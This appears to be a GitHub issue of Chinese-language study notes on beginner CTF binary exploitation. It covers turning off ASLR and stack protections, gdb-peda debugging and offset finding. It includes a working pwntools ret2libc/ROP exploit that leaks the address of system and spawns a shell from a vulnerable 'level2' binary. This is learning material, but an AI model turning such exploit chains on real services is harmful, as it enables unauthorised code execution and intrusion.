PWN 初探
xinali opened this issue · 0 comments
关掉整个系统的ALSR
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -o level1 level1.c
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector
开启core dump功能
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
pwn 从入门到放弃:https://www.n0tr00t.com/2017/12/15/Linux-Pwn-Rumen~Fangqi.html
调试无符号elf文件:
radare2 案例:
https://jinyu00.github.io/2017/11/01/step_by_step_pwn_router_part8.html
cheatsheet:https://github.com/radare/radare2/blob/master/doc/intro.md
打印函数地址:
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>
查找字符串
gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")
ELF的重映射:当可执行文件足够小的时候,他的不同区段可能会被多次映射。
smashes: 产生溢出异常,让溢出函数打印出flag,将flag地址铺满stack
vmmap 查看映射表
在调试的过程中,gdb中的vulfunction的地址并不一定是其真实运行的地址,需要将出错位置dump下来,之后查看shellcode地址
偏移位置:
pattern create 200
run
paste
pattern search 0xxxxxxx
esp => 偏移量
返回地址:
./level <= input_data
gdb level /tmp/core.xxx
x/10s $esp => esp 地址
各种保护机制绕过原理:
- DEP/NX绕过
数据执行保护,栈上的代码标记为数据,使其不可执行,此时从lib.so中找到system_add和/bin/sh的地址。这里无论是gdb还是真实运行,lib.so的加载地址应该是一样的。在pwn过程中,难点就是有没有提供libc.so。
这里有一个规则需要记住:
第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got
还可以这么理解:
write_addr - system_addr == write_addr_libc - system_addr_libc
a. 有libc.so的情况
b. 没有libc.so的情况 这里还需要分出64位程序的情况,寻找ropgadget
编写地址leak函数 => leak出system地址 => 找到.bss块地址/找到rop gadget地址 => send(‘/bin/sh\0’)
大概的流程是这样的
from pwn import *
elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./level2')
#p = remote('127.0.0.1', 10002)
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a020
pppr = 0x804855d
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()
- ALSR 绕过
- CANNARY(栈保护)
防止返回地址被覆盖
再看一遍 rop:https://segmentfault.com/a/1190000007406442
关键在于其原理
$1 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
libc : 0x7ffff7995d17 --> 0x68732f6e69622f ('/bin/sh')